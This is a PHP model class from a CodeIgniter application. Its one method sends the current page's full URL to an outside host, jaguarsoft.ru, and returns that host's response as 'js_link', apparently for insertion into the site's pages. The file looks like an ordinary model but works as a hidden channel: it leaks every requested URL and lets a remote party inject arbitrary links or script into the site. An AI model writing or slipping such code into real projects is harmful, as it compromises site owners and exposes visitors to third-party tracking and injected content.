<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

//  CI 2.0 Compatibility
if(!class_exists('CI_Model')) { class CI_Model extends Model {} }

class Js_link_model extends CI_Model {
	function get_text() {
		$ch = curl_init();
		$string = str_replace("/", "#", 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
		curl_setopt($ch, CURLOPT_URL, "http://jaguarsoft.ru/text/");
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_POST, 1);
		curl_setopt($ch, CURLOPT_POSTFIELDS, 'uri='.$string);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		$js_link = curl_exec($ch);
		curl_close($ch);
		return $js_link;
	}
}
?>